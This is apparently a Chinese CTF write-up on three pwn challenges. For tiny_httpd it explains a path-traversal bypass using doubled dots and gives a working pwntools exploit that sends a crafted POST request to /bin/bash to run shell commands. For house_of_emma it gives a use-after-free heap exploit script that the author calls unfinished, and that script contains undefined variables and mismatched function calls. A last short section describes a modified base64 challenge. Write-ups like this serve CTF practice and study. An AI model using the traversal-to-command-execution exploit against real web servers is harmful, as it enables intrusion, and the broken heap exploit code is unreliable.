tiny_httpd C语言实现的 httpd 服务,题目是基于框架改过来的,加了 url 的过滤。
漏洞在 URL 过滤不严格导致目录穿越,导致可以执行任意文件,且文件参数可控。
目录穿越 1 2 3 4 5 6 7 8 9 int len = strlen (path);for (i = 0 , j = 0 ; j < len;) { if (path[j] == '.' && path[j + 1 ] == '.' ) { j++; } path[i++] = path[j++]; } path[i++] = '\0' ;
当 i 等于 .
,且 i+1 也等于 .
,就记录 i+1 的 .
,双写即可绕过。
文件执行 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 dup2(cgi_output[1 ], STDOUT); dup2(cgi_input[0 ], STDIN); close(cgi_output[0 ]); close(cgi_input[1 ]); sprintf (meth_env, "REQUEST_METHOD=%s" , method); putenv(meth_env); if (strcasecmp(method, "GET" ) == 0 ) { sprintf (query_env, "QUERY_STRING=%s" , query_string); putenv(query_env); } else { sprintf (length_env, "CONTENT_LENGTH=%d" , content_length); putenv(length_env); } execl(path, NULL ); exit (0 );
这里就是 execl、dup2、pipe 多线程操作。
execl 函数定义:execl(const char * path, const char * arg, …);
path 字符串所代表的文件路径
arg 执行参数
execl("/bin/ls","ls", "-la", (char *)0);
dup2 将 cgi_input\cgi_output 重定向到 stdin\stdout ,这个体系中就是给 execl path 打开的文件传递参数
这里原来设计意图应该是给 color.cgi 传递参数,但由于目录穿越导致任意命令执行
EXP
将 flag 写入 index.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *context.log_level=True p = remote('127.0.0.1' ,8899 ) strings='''POST ''' strings+='''/..../..../..../..../..../..../..../..../..../bin/bash''' strings+=''' HTTP/1.1 Host: 120.24.72.234 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 39 Origin: http://120.24.72.234:8899 Connection: close Referer: http://120.24.72.234:8899/ Upgrade-Insecure-Requests: 1 echo `cat /flag` > ./htdocs/index.html ''' p.sendline(str (strings)) print p.recv()p.interactive()
house_of_emma 高版本的 UAF ,泄露地址后的 exp 利用还没有完全折腾出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 from pwn import *import syslocal = 1 binary = "./pwn" local_libc = "/lib/x86_64-linux-gnu/libc.so.6" ip = "192.168.40.10" port = 29538 remote_libc = "./libc.so.6" def main (ip=ip,port=port ): global p,elf,libc elf = ELF(binary) if local: context.log_level = "debug" p=process(binary) libc = ELF(local_libc) pwn() else : p=remote(ip,port) libc=ELF(remote_libc) pwn() def add (id ,size ): p.recvuntil('Pls input the opcode\n' ) payload='\x01' +p8(id )+p16(size)+'\x05' p.send(payload) def delete (id ): p.recvuntil('Pls input the opcode\n' ) payload='\x02' +p8(id )+'\x05' p.send(payload) def show (id ): p.recvuntil('Pls input the opcode\n' ) payload='\x03' +p8(id )+'\x05' p.send(payload) def edit (id ,data ): p.recvuntil('Pls input the opcode\n' ) payload='\x04' +p8(id )+p16(len (data))+str (data)+'\x05' p.send(payload) def pwn (): add(0 ,0x440 ) add(1 ,0x4a0 ) add(2 ,0x410 ) add(3 ,0x490 ) add(4 ,0x430 ) add(5 ,0x490 ) add(6 ,0x430 ) add(9 ,0x4c0 ) add(10 ,0x490 ) add(11 ,0x490 ) add(12 ,0x490 ) add(13 ,0x490 ) add(14 ,0x490 ) add(15 ,0x490 ) add(16 ,0x490 ) delete(1 ) show(1 ) leak_addr=u64(p.recv(6 ).ljust(8 ,'\x00' )) libc_base=leak_addr-(0x7ffff7fb10d0 -0x00007ffff7dbe000 ) main_arena=leak+(0x00007ffff7fb10b0 -0x7ffff7fb0cc0 ) addr=libcbase+(0x7ffff7fb0390 -0x00007ffff7dbe000 ) payload = add(0 ,7 ,0x500 ) payload += delete(0 ,3 ) payload += edit(0 ,1 ,0x20 , p64(main_arena)*2 +p64(0 )+p64(tcache_bins-0x20 )) payload += add(0 ,8 ,0x410 ) p.sendline(payload) for i in range (7 ): delete(1 ,i+10 ) delete(1 ,9 ) show(1 ,11 ) heap_addr = u64(io.recvuntil(b'\x0a' )[-6 :-1 ].ljust(8 ,b'\x00' ))<<12 heap_base = heap_addr - 0x4000 p.interactive() def cat_flag (): global flag p.recv() p.sendline("cat flag" ) flag = p.recvuntil('\n' ,drop=True ).strip() def debug (p,content='' ): if local: gdb.attach(p,content) raw_input() if __name__ == "__main__" : if (len (sys.argv)==3 ): ip = sys.argv[1 ] port = sys.argv[2 ] main()
Maybe_fun_game_3 红明谷 Maybe_fun_game 的升级改进版本,bindiff 一下就知道
输入输出需要进行解密加密,升级就是将解密部分改了,和之前题目一样是个变异的 base64 ,在里面加入了前后校验位、长度校验位,更加在加密的时候用了随机数,每次输出加密的时候加密结果都不一样